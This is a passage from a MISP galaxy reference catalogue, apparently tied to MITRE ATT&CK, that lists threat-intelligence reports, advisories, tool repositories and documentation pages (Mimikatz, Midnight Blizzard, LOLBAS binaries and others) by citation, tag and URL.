Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019.

The tag is: *misp-galaxy:references="objective-see windtail2 jan 2019"*

Table 21889. Table References

Links
https://objective-see.com/blog/blog_0x3D.html

CyberScoop BlackOasis Oct 2017

Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="CyberScoop BlackOasis Oct 2017"*

Table 21890. Table References

Links
https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/

Wiz Midnight Blizzard 2024

Lior Sonntag. (2024, February 8). Midnight Blizzard attack on Microsoft corporate environment: a detailed analysis, detections and recommendations. Retrieved March 20, 2025.

The tag is: *misp-galaxy:references="Wiz Midnight Blizzard 2024"*

Table 21891. Table References

Links
https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices

Microsoft Midnight Blizzard October 29 2024

Microsoft Threat Intelligence. (2024, October 29). Midnight Blizzard conducts large-scale spear-phishing campaign using RDP files. Retrieved November 14, 2024.

The tag is: *misp-galaxy:references="Microsoft Midnight Blizzard October 29 2024"*

Table 21892. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/10/29/midnight-blizzard-conducts-large-scale-spear-phishing-campaign-using-rdp-files/

Int SP - chat apps

Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard conducts targeted social engineering over Microsoft Teams. Retrieved February 16, 2024.

The tag is: *misp-galaxy:references="Int SP - chat apps"*

Table 21893. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/

Microsoft Security Blog 1 26 2024

Microsoft Threat Intelligence. (2024, January 25). Midnight Blizzard Guidance for responders on nation-state attack . Retrieved January 26, 2024.

The tag is: *misp-galaxy:references="Microsoft Security Blog 1 26 2024"*

Table 21894. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/

Deply Mimikatz

Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.

The tag is: *misp-galaxy:references="Deply Mimikatz"*

Table 21895. Table References

Links
https://github.com/gentilkiwi/mimikatz

CG 2014

CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="CG 2014"*

Table 21896. Table References

Links
http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html

ADSecurity AD Kerberos Attacks

Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.

The tag is: *misp-galaxy:references="ADSecurity AD Kerberos Attacks"*

Table 21897. Table References

Links
https://adsecurity.org/?p=556

Harmj0y DCSync Sept 2015

Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.

The tag is: *misp-galaxy:references="Harmj0y DCSync Sept 2015"*

Table 21898. Table References

Links
http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/

Harmj0y Mimikatz and DCSync

Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024.

The tag is: *misp-galaxy:references="Harmj0y Mimikatz and DCSync"*

Table 21899. Table References

Links
https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/

ADSecurity Mimikatz DCSync

Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.

The tag is: *misp-galaxy:references="ADSecurity Mimikatz DCSync"*

Table 21900. Table References

Links
https://adsecurity.org/?p=1729

AdSecurity DCSync Sept 2015

Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.

The tag is: *misp-galaxy:references="AdSecurity DCSync Sept 2015"*

Table 21901. Table References

Links
https://adsecurity.org/?p=1729

GitHub Mimikittenz July 2016

Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.

The tag is: *misp-galaxy:references="GitHub Mimikittenz July 2016"*

Table 21902. Table References

Links
https://github.com/putterpanda/mimikittenz

MimiPenguin GitHub May 2017

Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.

The tag is: *misp-galaxy:references="MimiPenguin GitHub May 2017"*

Table 21903. Table References

Links
https://github.com/huntergregal/mimipenguin

mimipenguin proc file

Gregal, Hunter. (2019, September 17). MimiPenguin 2.0. Retrieved March 28, 2024.

The tag is: *misp-galaxy:references="mimipenguin proc file"*

Table 21904. Table References

Links
https://github.com/huntergregal/mimipenguin/blob/master/mimipenguin.sh

Securelist Minidionis July 2015

Lozhkin, S.. (2015, July 16). Minidionis – one more APT with a usage of cloud drives. Retrieved April 5, 2017.

The tag is: *misp-galaxy:references="Securelist Minidionis July 2015"*

Table 21905. Table References

Links
https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/

mining_ruby_reversinglabs

Maljic, T. (2020, April 16). Mining for malicious Ruby gems. Retrieved October 15, 2022.

The tag is: *misp-galaxy:references="mining_ruby_reversinglabs"*

Table 21906. Table References

Links
https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems

ExtensionTotal VSCode Extensions 2025

Yuval Ronen. (2025, April 4). Mining in Plain Sight: The VS Code Extension Cryptojacking Campaign. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="ExtensionTotal VSCode Extensions 2025"*

Table 21907. Table References

Links

https://blog.extensiontotal.com/mining-in-plain-sight-the-vs-code-extension-cryptojacking-campaign-19ca12904b59

lazgroup_idn_phishing

RISKIQ. (2017, December 20). Mining Insights: Infrastructure Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry. Retrieved July 29, 2022.

The tag is: *misp-galaxy:references="lazgroup_idn_phishing"*

Table 21908. Table References

Links
https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/

NCSC-NL COATHANGER Feb 2024

Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.

The tag is: *misp-galaxy:references="NCSC-NL COATHANGER Feb 2024"*

Table 21909. Table References

Links
https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf

Bleeping Computer Mint Mobile Hack 2021

Lawrence Abrams. (2021, July 10). Mint Mobile hit by a data breach after numbers ported, data accessed. Retrieved July 1, 2024.

The tag is: *misp-galaxy:references="Bleeping Computer Mint Mobile Hack 2021"*

Table 21910. Table References

Links
https://www.bleepingcomputer.com/news/security/mint-mobile-hit-by-a-data-breach-after-numbers-ported-data-accessed/

APT15 Intezer June 2018

Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.

The tag is: *misp-galaxy:references="APT15 Intezer June 2018"*

Table 21911. Table References

Links
https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/

ESET MirrorFace March 18 2025

Dominik Breitenbacher. (2025, March 18). MirrorFace invites Europe to Expo 2025 and revives ANEL backdoor. Retrieved April 9, 2025.

The tag is: *misp-galaxy:references="ESET MirrorFace March 18 2025"*

Table 21912. Table References

Links
https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/

The Hacker News MirrorFace January 9 2025

Ravie Lakshmanan. (2025, January 9). MirrorFace Leverages ANEL and NOOPDOOR in Multi-Year Cyberattacks on Japan. Retrieved April 9, 2025.

The tag is: *misp-galaxy:references="The Hacker News MirrorFace January 9 2025"*

Table 21913. Table References

Links
https://thehackernews.com/2025/01/mirrorface-leverages-anel-and-noopdoor.html

ESET Security Mispadu Facebook Ads 2019

ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.

The tag is: *misp-galaxy:references="ESET Security Mispadu Facebook Ads 2019"*

Table 21914. Table References

Links
https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/

ESET Mispadu November 2019

ESET Research. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal.

Retrieved April 4, 2024.

The tag is: *misp-galaxy:references="ESET Mispadu November 2019"*

Table 21915. Table References

Links
https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/

Slideshare Abusing SSH

Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.

The tag is: *misp-galaxy:references="Slideshare Abusing SSH"*

Table 21916. Table References

Links
https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219

Mitiga Security Advisory: SSM Agent as Remote Access Trojan

Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.

The tag is: *misp-galaxy:references="Mitiga Security Advisory: SSM Agent as Remote Access Trojan"*

Table 21917. Table References

Links
https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan

ACSC Email Spoofing

Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="ACSC Email Spoofing"*

Table 21918. Table References

Links
https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf

Pentera vCenter Information Disclosure

Yuval Lazar. (2022, March 29). Mitigating VMware vCenter Information Disclosure. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Pentera vCenter Information Disclosure"*

Table 21919. Table References

Links
https://pentera.io/blog/information-disclosure-in-vmware-vcenter/

NSA Cyber Mitigating Web Shells

NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.

The tag is: *misp-galaxy:references="NSA Cyber Mitigating Web Shells"*

Table 21920. Table References

Links
https://github.com/nsacyber/Mitigating-Web-Shells

MIT ccache

Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="MIT ccache"*

Table 21921. Table References

Links
https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html

MITRE Caldera™ Website

MITRE. (n.d.). MITRE Caldera™ Website. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="MITRE Caldera™ Website"*

Table 21922. Table References

Links
https://caldera.mitre.org/

MITRE SE Guide 2014

The MITRE Corporation. (2014). MITRE Systems Engineering Guide. Retrieved April 6, 2018.

The tag is: *misp-galaxy:references="MITRE SE Guide 2014"*

Table 21923. Table References

Links
https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf

mkdir - Linux man page

die.net. (n.d.). mkdir - Linux man page. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="mkdir - Linux man page"*

Table 21924. Table References

Links
https://linux.die.net/man/1/mkdir

win_mmc

Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="win_mmc"*

Table 21925. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc

Mmc.exe - LOLBAS Project

LOLBAS. (2018, December 4). Mmc.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Mmc.exe - LOLBAS Project"*

Table 21926. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Mmc/

Trend Micro Bouncing Golf 2019

1. Xu, G. Guo. (2019, June 28). Mobile Cyberespionage Campaign ‘Bouncing Golf’ Affects Middle East. Retrieved January 27, 2020.

The tag is: *misp-galaxy:references="Trend Micro Bouncing Golf 2019"*

Table 21927. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east/

ELF Injection May 2009

O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020.

The tag is: *misp-galaxy:references="ELF Injection May 2009"*

Table 21928. Table References

Links
https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html

specter ops evil twin

Ryan, Gabriel. (2019, October 28). Modern Wireless Tradecraft Pt I — Basic Rogue AP Theory — Evil Twin and Karma Attacks. Retrieved September 17, 2024.

The tag is: *misp-galaxy:references="specter ops evil twin"*

Table 21929. Table References

Links
https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee

Elastic Rules macOS launchctl 2022

Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.

The tag is: *misp-galaxy:references="Elastic Rules macOS launchctl 2022"*

Table 21930. Table References

Links
https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html

modinfo man

Russell, R. (n.d.). modinfo(8) - Linux man page. Retrieved March 28, 2023.

The tag is: *misp-galaxy:references="modinfo man"*

Table 21931. Table References

Links
https://linux.die.net/man/8/modinfo

hasherezade debug

hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="hasherezade debug"*

Table 21932. Table References

Links
https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf

Microsoft Module Class

Microsoft. (n.d.). Module Class. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Microsoft Module Class"*

Table 21933. Table References

Links
https://docs.microsoft.com/en-us/dotnet/api/system.reflection.module

GitHub Mimikatz kerberos Module

Deply, B., Le Toux, V.. (2016, June 5). module ~ kerberos. Retrieved March 17, 2020.

The tag is: *misp-galaxy:references="GitHub Mimikatz kerberos Module"*

Table 21934. Table References

Links
https://github.com/gentilkiwi/mimikatz/wiki/module-}-kerberos

GitHub Mimikatz lsadump Module

Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.

The tag is: *misp-galaxy:references="GitHub Mimikatz lsadump Module"*

Table 21935. Table References

Links
https://github.com/gentilkiwi/mimikatz/wiki/module-}-lsadump

Module Stomping for Shellcode Injection

Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022.

The tag is: *misp-galaxy:references="Module Stomping for Shellcode Injection"*

Table 21936. Table References

Links
https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection

Linux Kernel Module Programming Guide

Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.

The tag is: *misp-galaxy:references="Linux Kernel Module Programming Guide"*

Table 21937. Table References

Links
http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html

FOX-IT May 2016 Mofang

Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.

The tag is: *misp-galaxy:references="FOX-IT May 2016 Mofang"*

Table 21938. Table References

Links
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

Unit42 Molerat Mar 2020

Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020.

The tag is: *misp-galaxy:references="Unit42 Molerat Mar 2020"*

Table 21939. Table References

Links
https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/

Cybereason Molerats Dec 2020

Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020.

The tag is: *misp-galaxy:references="Cybereason Molerats Dec 2020"*

Table 21940. Table References

Links
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

Azure - Monitor Logs

Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.

The tag is: *misp-galaxy:references="Azure - Monitor Logs"*

Table 21941. Table References

Links
https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor

EventTracker File Permissions Feb 2014

Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.

The tag is: *misp-galaxy:references="EventTracker File Permissions Feb 2014"*

Table 21942. Table References

Links
https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/

Microsoft Silent Process Exit NOV 2017

Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.

The tag is: *misp-galaxy:references="Microsoft Silent Process Exit NOV 2017"*

Table 21943. Table References

Links
https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit

Windows Event Forwarding Payne

Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.

The tag is: *misp-galaxy:references="Windows Event Forwarding Payne"*

Table 21944. Table References

Links
https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem

Google Workspace Apps Script Restrict OAuth Scopes

Google Workspace. (2024, March 5). Monitor & restrict data access. Retrieved July 1, 2024.

The tag is: *misp-galaxy:references="Google Workspace Apps Script Restrict OAuth Scopes"*

Table 21945. Table References

Links
https://developers.google.com/apps-script/guides/admin/monitor-restrict-oauth-scopes

GCP Monitoring Service Account Usage

Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="GCP Monitoring Service Account Usage"*

Table 21946. Table References

Links
https://cloud.google.com/iam/docs/service-account-monitoring

Forcepoint Monsoon

Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.

The tag is: *misp-galaxy:references="Forcepoint Monsoon"*

Table 21947. Table References

Links
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

Trend Micro August 14 2023

Nathaniel Morales; Joshua Paul Ignacio Read time. (2023, August 14). Monti Ransomware Unleashes a New Encryptor for Linux. Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="Trend Micro August 14 2023"*

Table 21948. Table References

Links
https://www.trendmicro.com/en_us/research/23/h/monti-ransomware-unleashes-a-new-encryptor-for-linux.html

Microsoft Security Blog 5 28 2024

Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks . Retrieved May 29, 2024.

The tag is: *misp-galaxy:references="Microsoft Security Blog 5 28 2024"*

Table 21949. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/

Microsoft Moonstone Sleet 2024

Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.

The tag is: *misp-galaxy:references="Microsoft Moonstone Sleet 2024"*

Table 21950. Table References

Links

https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/

Security Intelligence More Eggs Aug 2019

Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.

The tag is: *misp-galaxy:references="Security Intelligence More Eggs Aug 2019"*

Table 21951. Table References

Links
https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/

ESET EvilNum July 2020

Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021.

The tag is: *misp-galaxy:references="ESET EvilNum July 2020"*

Table 21952. Table References

Links
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

Microsoft DLL Preloading

Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.

The tag is: *misp-galaxy:references="Microsoft DLL Preloading"*

Table 21953. Table References

Links
http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx

Microsoft More information about DLL

Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.

The tag is: *misp-galaxy:references="Microsoft More information about DLL"*

Table 21954. Table References

Links
https://msrc-blog.microsoft.com/2010/08/23/more-information-about-the-dll-preloading-remote-attack-vector/

aptsim

valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.

The tag is: *misp-galaxy:references="aptsim"*

Table 21955. Table References

Links
http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html

Washington Post WannaCry 2017

Dwoskin, E. and Adam, K. (2017, May 14). More than 150 countries affected by massive cyberattack, Europol says. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="Washington Post WannaCry 2017"*

Table 21956. Table References

Links
https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4

ArsTechnica Intel

Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="ArsTechnica Intel"*

Table 21957. Table References

Links
https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/

Kaspersky Winnti April 2013

Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.

The tag is: *misp-galaxy:references="Kaspersky Winnti April 2013"*

Table 21958. Table References

Links
https://securelist.com/winnti-more-than-just-a-game/37029/

polygot_icedID

Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.

The tag is: *misp-galaxy:references="polygot_icedID"*

Table 21959. Table References

Links
https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload

CrowdStrike Deep Panda Web Shells

RYANJ. (2014, February 20). Mo' Shells Mo' Problems – Deep Panda Web Shells. Retrieved September 16, 2015.

The tag is: *misp-galaxy:references="CrowdStrike Deep Panda Web Shells"*

Table 21960. Table References

Links
http://www.crowdstrike.com/blog/mo-shells-mo-problems-deep-panda-web-shells/

Wikimedia Foundation Inc. September 5 2005

Wikimedia Foundation Inc.. (2005, September 5). mount (Unix) - Wikipedia. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Wikimedia Foundation Inc. September 5 2005"*

Table 21961. Table References

Links
https://en.wikipedia.org/wiki/Mount_(Unix)

MoustachedBouncer ESET August 2023

Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.

The tag is: *misp-galaxy:references="MoustachedBouncer ESET August 2023"*

Table 21962. Table References

Links
https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/

ESET MoustachedBouncer

Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 1, 2023.

The tag is: *misp-galaxy:references="ESET MoustachedBouncer"*

Table 21963. Table References

Links
https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/

Huntress MOVEit 2023

John Hammond. (2023, June 1). MOVEit Transfer Critical Vulnerability CVE-2023-34362 Rapid Response. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Huntress MOVEit 2023"*

Table 21964. Table References

Links
https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response

Progress Software MOVEit Transfer Critical Vulnerability

Progress Software. (2023, June 16). MOVEit Transfer Critical Vulnerability (May 2023) (CVE-2023-34362). Retrieved July 28, 2023.

The tag is: *misp-galaxy:references="Progress Software MOVEit Transfer Critical Vulnerability"*

Table 21965. Table References

Links
https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023

TechNet Moving Beyond EMET

Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.

The tag is: *misp-galaxy:references="TechNet Moving Beyond EMET"*

Table 21966. Table References

Links
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/

ScriptingOSX zsh

Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.

The tag is: *misp-galaxy:references="ScriptingOSX zsh"*

Table 21967. Table References

Links
https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/

Volatility Detecting Hooks Sept 2012

Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="Volatility Detecting Hooks Sept 2012"*

Table 21968. Table References

Links
https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html

mozilla_sec_adv_2012

Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.

The tag is: *misp-galaxy:references="mozilla_sec_adv_2012"*

Table 21969. Table References

Links
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/

Mozilla Firefox Installer DLL Hijack

Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.

The tag is: *misp-galaxy:references="Mozilla Firefox Installer DLL Hijack"*

Table 21970. Table References

Links
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/

MpCmdRun.exe - LOLBAS Project

LOLBAS. (2020, March 20). MpCmdRun.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="MpCmdRun.exe - LOLBAS Project"*

Table 21971. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/

TechNet MS14-019

Nagaraju, S. (2014, April 8). MS14-019 – Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.

The tag is: *misp-galaxy:references="TechNet MS14-019"*

Table 21972. Table References

Links
https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/

SRD GPP

Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.

The tag is: *misp-galaxy:references="SRD GPP"*

Table 21973. Table References

Links
http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx

MS14-025

Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved February 17, 2020.

The tag is: *misp-galaxy:references="MS14-025"*

Table 21974. Table References

Links
https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati

Microsoft MS14-025

Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.

The tag is: *misp-galaxy:references="Microsoft MS14-025"*

Table 21975. Table References

Links
http://support.microsoft.com/kb/2962486

MSAccess.exe - LOLBAS Project

LOLBAS. (2023, April 30). MSAccess.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="MSAccess.exe - LOLBAS Project"*

Table 21976. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msaccess/

MSDN MSBuild

Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.

The tag is: *misp-galaxy:references="MSDN MSBuild"*

Table 21977. Table References

Links
https://msdn.microsoft.com/library/dd393574.aspx

LOLBAS Msbuild

LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.

The tag is: *misp-galaxy:references="LOLBAS Msbuild"*

Table 21978. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Msbuild/

Microsoft MSBuild Inline Tasks 2017

Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.

The tag is: *misp-galaxy:references="Microsoft MSBuild Inline Tasks 2017"*

Table 21979. Table References

Links
https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element

Msconfig.exe - LOLBAS Project

LOLBAS. (2018, May 25). Msconfig.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Msconfig.exe - LOLBAS Project"*

Table 21980. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Msconfig/

Msdeploy.exe - LOLBAS Project

LOLBAS. (2018, May 25). Msdeploy.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Msdeploy.exe - LOLBAS Project"*

Table 21981. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/

MSDN File Associations

Microsoft. (n.d.). Retrieved July 26, 2016.

The tag is: *misp-galaxy:references="MSDN File Associations"*

Table 21982. Table References

Links
https://msdn.microsoft.com/en-us/library/cc144156.aspx

Microsoft DRSR Dec 2017

Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.

The tag is: *misp-galaxy:references="Microsoft DRSR Dec 2017"*

Table 21983. Table References

Links
https://msdn.microsoft.com/library/cc228086.aspx

Msdt.exe - LOLBAS Project

LOLBAS. (2018, May 25). Msdt.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Msdt.exe - LOLBAS Project"*

Table 21984. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Msdt/

Msedge.exe - LOLBAS Project

LOLBAS. (2022, January 20). Msedge.exe. Retrieved December 4, 2023.

